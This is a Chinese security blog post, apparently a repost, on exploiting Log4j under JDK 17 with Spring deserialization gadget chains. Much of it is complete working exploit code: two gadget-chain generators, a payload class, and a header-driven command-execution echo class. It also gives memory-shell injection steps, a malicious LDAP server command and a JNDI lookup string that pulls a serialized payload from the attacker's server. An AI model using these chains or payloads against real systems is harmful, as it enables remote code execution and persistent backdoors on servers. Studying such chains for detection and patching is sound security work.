文章总结: 本文详细介绍了在JDK17环境下利用Log4j漏洞进行反序列化攻击的技术方法。作者提供了两种绕过JDK17限制的Spring原生反序列化链代码示例,解决了不同JDK版本间serialVersionUID不一致的问题。文章展示了如何结合RMI/LDAP协议与最新的Springboot链进行攻击,包括回显和内存马植入技术,并推荐使用JNDIMap等工具辅助攻击。 综合评分: 85 文章分类: 漏洞分析,渗透测试,红队,WEB安全,代码审计
当Log4j遇到jdk17~往日种种,你当真不记得了?
bmth666
实战攻防安全
2025年12月16日 15:35 河北
最近不是出了一个jdk17的反序列化,文章如下: 高版本jdk+springboot链子 高版本JDK下的Spring原生反序列化链 JDK 17 TemplatesImpl ByPass 原理分析 shiro+Spring高版本原生链
恰好最近实战当中遇到了jdk17的log4j,那么就来看一下
Spring的jdk17利用链
这里参考网上的代码
| |
| — |
| package exp.jdk17; import com.fasterxml.jackson.databind.node.POJONode; import javassist.*; import org.springframework.aop.framework.AdvisedSupport; import javax.swing.event.EventListenerList; import javax.swing.undo.UndoManager; import javax.xml.transform.Templates; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.*; import java.util.Vector; /// jdk17利用链 publicclassSpringbypassJDK { static { try { ClassPoolclassPool= ClassPool.getDefault(); CtClassctClass= classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethodwriteReplace= ctClass.getDeclaredMethod("writeReplace"); writeReplace.setBody("return $0;"); ctClass.writeFile(); ctClass.toClass(); } catch (Exception e){ } } publicbyte[] getPayload(byte[] evilClassCode) throws Exception { ClassPoolpool= ClassPool.getDefault(); CtClass tempClass= pool.makeClass("Foo"); Object templates= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance(); setFieldValue(templates, "_name", "anyStr"); setFieldValue(templates, "_transletIndex", 0); setFieldValue(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance()); setFieldValue(templates, "_bytecodes", newbyte[][]{evilClassCode, tempClass.toBytecode()}); POJONodepojoNode=newPOJONode(makeTemplatesImplAopProxy(templates)); EventListenerListeventListenerList=newEventListenerList(); UndoManager undomanager= newUndoManager(); Vectorvector= (Vector) getFieldValue(undomanager, "edits"); vector.add(pojoNode); setFieldValue(eventListenerList, "listenerList", newObject[]{Class.class, undomanager}); ByteArrayOutputStreambaos=newByteArrayOutputStream(); ObjectOutputStream oos= newObjectOutputStream(baos); oos.writeObject(eventListenerList); oos.close(); return baos.toByteArray(); } publicstatic Object makeTemplatesImplAopProxy(Object temp)throws Exception { AdvisedSupportadvisedSupport=newAdvisedSupport(); advisedSupport.setTarget(temp); Constructor<?> constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandlerhandler= (InvocationHandler) constructor.newInstance(advisedSupport); Objectproxy= Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), newClass[]{Templates.class}, handler); return proxy; } publicstaticvoidsetFieldValue( final Object obj, final String fieldName, final Object value )throws Exception { finalFieldfield= getField(obj.getClass(), fieldName); field.set(obj, value); } publicstatic Field getField( final Class<?> clazz, final String fieldName )throws Exception { try { Fieldfield= clazz.getDeclaredField(fieldName); if ( field != null ) field.setAccessible(true); elseif ( clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); return field; } catch ( NoSuchFieldException e ) { if ( !clazz.getSuperclass().equals(Object.class) ) { return getField(clazz.getSuperclass(), fieldName); } throw e; } } publicstatic Object getFieldValue(final Object obj, final String fieldName)throws Exception { finalFieldfield= getField(obj.getClass(), fieldName); return field.get(obj); } } |
加载代码执行的类
| |
| — |
| package Tools; publicclassEvil { static { try { booleanisLinux=true; StringosTyp= System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? newString[]{"bash", "-c", "open -a Calculator"} : newString[]{"cmd.exe", "/c", "calc"}; Runtime.getRuntime().exec(cmds); } catch (Exception e) { e.printStackTrace(); } } } |
最后
| |
| — |
| package exp.jdk17; import Tools.Evil; import Tools.SpringEcho; import javassist.ClassPool; import javassist.CtClass; import java.io.ByteArrayInputStream; import java.io.ObjectInputStream; import java.util.Base64; publicclasstest { publicstaticvoidmain(String[] args)throws Exception { // String exp = "rO0A........."; // unserialize(Base64.getDecoder().decode(exp)); getpayload(); } publicstaticvoidunserialize(byte[] exp)throws Exception { ByteArrayInputStreambais=newByteArrayInputStream(exp); ObjectInputStreamois=newObjectInputStream(bais); ois.readObject(); } publicstaticvoidgetpayload()throws Exception { ClassPoolpool= ClassPool.getDefault(); CtClassevilClazz= pool.get(Evil.class.getName()); evilClazz.getClassFile().setMajorVersion(50); byte[] evilPayload = newSpringbypassJDK().getPayload(evilClazz.toBytecode()); System.out.println(Base64.getEncoder().encodeToString(evilPayload)); } } |
注意在序列化生成poc的时候需要添加JVM
| |
| — |
| --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED --add-opens=java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens=java.desktop/javax.swing.event=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED |
而反序列化就不需要了
注意事项
反序列化漏洞,有一个显而易见的问题就是版本不同导致serialVersionUID不同,从而反序列化失败
当类没有显式声明 serialVersionUID 时,可以使用serialver获取到该值,下载jar包:https://mvnrepository.com/artifact/org.springframework/spring-aop
| |
| — |
| serialver -classpath "spring-aop-5.3.19.jar" org.springframework.aop.framework.DefaultAdvisorChainFactory |
总结:
| 依赖版本 | 类 | serialVersionUID | | — | — | — | | spring-aop<=6.0.9 | org.springframework.aop.framework.DefaultAdvisorChainFactory | 6115154060221772279L | | spring-aop>=6.0.10 | org.springframework.aop.framework.DefaultAdvisorChainFactory | 273003553246259276L | | jdk1.8 | javax.swing.event.EventListenerList | -5677132037850737084L | | jdk11/17 | javax.swing.event.EventListenerList | -7977902244297240866L | | jdk1.8 | javax.swing.undo.UndoManager | -2077529998244066750L | | jdk11/17 | javax.swing.undo.UndoManager | -1045223116463488483L |
所以说,通过EventListenerList触发tostring这条链并不优雅,有没有更好用的呢,当然,其实还有一个XString的tostring链,它的serialVersionUID并没有随着JDK版本发生改变
| |
| — |
| package exp.jdk17; import com.fasterxml.jackson.databind.node.POJONode; import javassist.*; import sun.reflect.ReflectionFactory; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.*; import java.util.HashMap; importstatic exp.jdk17.SpringbypassJDK.makeTemplatesImplAopProxy; importstatic exp.jdk17.SpringbypassJDK.setFieldValue; publicclassSpringbypassJDK2 { static { try { // javassist 修改 BaseJsonNode ClassPoolclassPool= ClassPool.getDefault(); CtClassctClass= classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethodwriteReplace= ctClass.getDeclaredMethod("writeReplace"); writeReplace.setBody("return $0;"); ctClass.writeFile(); ctClass.toClass(); } catch (Exception e){ } } publicbyte[] getPayload(byte[] evilClassCode) throws Exception { ClassPoolpool= ClassPool.getDefault(); CtClass tempClass= pool.makeClass("Foo"); Object templates= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance(); setFieldValue(templates, "_name", "anyStr"); setFieldValue(templates, "_transletIndex", 0); setFieldValue(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance()); setFieldValue(templates, "_bytecodes", newbyte[][]{evilClassCode, tempClass.toBytecode()}); POJONodepojoNode=newPOJONode(makeTemplatesImplAopProxy(templates)); Class<?> aClass1 = Class.forName("com.sun.org.apache.xpath.internal.objects.XStringForChars"); Objectxstring= createWithoutConstructor(aClass1); setFieldValue(xstring,"m_obj",newchar[]{}); HashMap<Object, Object> map1 = newHashMap(); HashMap<Object, Object> map2 = newHashMap(); map1.put("yy", pojoNode); map1.put("zZ", xstring); map2.put("yy", xstring); map2.put("zZ", pojoNode); HashMaphashmap= makeMap(map1, map2); ByteArrayOutputStreambaos=newByteArrayOutputStream(); ObjectOutputStream oos= newObjectOutputStream(baos); oos.writeObject(hashmap); oos.close(); return baos.toByteArray(); } publicstatic HashMap<Object, Object> makeMap(Object v1, Object v2 )throws Exception { HashMap<Object, Object> s = newHashMap<>(); setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Objecttbl= Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setFieldValue(s, "table", tbl); return s; } publicstatic <T> T createWithConstructor( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true); return (T) sc.newInstance(consArgs); } publicstatic <T> T createWithoutConstructor( Class<T> classToInstantiate ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, newClass[0], newObject[0]); } } |
这样就避免了JDK版本的问题
Log4j
我们这里使用的测试环境为:https://github.com/jas502n/Log4j2-CVE-2021-44228
使用jdk17启动
正常情况下会先探测一下版本:
| |
| — |
| ${sys:java.version} |
没问题
在几年前,我们打高版本JDK还在使用BeanFactory、JDBC之类的,但随着技术的提升,发现RMI/LDAP协议同样支持反序列化,配合最新的Springboot链,通杀
在这之前可以使用java-chains探测一下存在依赖
之后在DNSLOG中就会看到存在的依赖
下载工具:https://github.com/kxcode/JNDI-Exploit-Bypass-Demo
在HackerLDAPRefServer.java中放入poc
mvn package打包工具,启动LDAP服务:
| |
| — |
| java -cp HackerRMIRefServer-all.jar HackerLDAPRefServer 0.0.0.0 8088 1389 |
目录为foo触发反序列化,成功弹出计算器!
回显
回显也非常简单,直接
| |
| — |
| package Tools; import java.lang.reflect.Method; import java.util.Scanner; publicclassSpringEcho{ static { try { Classc= Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder"); Methodm= c.getMethod("getRequestAttributes"); Objecto= m.invoke(null); c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes"); m = c.getMethod("getResponse"); Methodm1= c.getMethod("getRequest"); Objectresp= m.invoke(o); Objectreq= m1.invoke(o); // HttpServletRequest MethodgetWriter= Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter"); MethodgetHeader= Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class); getHeader.setAccessible(true); getWriter.setAccessible(true); Objectwriter= getWriter.invoke(resp); Stringcmd= (String) getHeader.invoke(req, "cmd"); String[] commands = newString[3]; StringcharsetName= System.getProperty("os.name").toLowerCase().contains("window") ? "GBK" : "UTF-8"; if (System.getProperty("os.name").toUpperCase().contains("WIN")) { commands[0] = "cmd"; commands[1] = "/c"; } else { commands[0] = "/bin/sh"; commands[1] = "-c"; } commands[2] = cmd; writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, newScanner(Runtime.getRuntime().exec(commands).getInputStream(), charsetName).useDelimiter("\\A").next()); writer.getClass().getDeclaredMethod("flush").invoke(writer); writer.getClass().getDeclaredMethod("close").invoke(writer); }catch (Exception e){} } } |
内存马
发现JNDIMap工具支持从URL反序列化,遂用这个LDAP服务,https://github.com/X1r0z/JNDIMap/blob/main/USAGE.md
勾选上Bypass JDK Module
将恶意类的字节码改为JMG生成的
| |
| — |
| byte[] bytes = Base64.getDecoder().decode("yv66vg......."); byte[] evilPayload = newSpringbypassJDK2().getPayload(bytes); OutputStreamoutput=newFileOutputStream("output.bin"); output.write(evilPayload); output.close(); |
最后传参即可(header头有长度限制):${jndi:ldap://127.0.0.1:1389/Deserialize/FromFile/output.bin}
在后续也是更新了新版本,支持jdk17的反序列化了,推荐使用:https://github.com/X1r0z/JNDIMap
查看原文:《当Log4j遇到jdk17~往日种种,你当真不记得了?》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论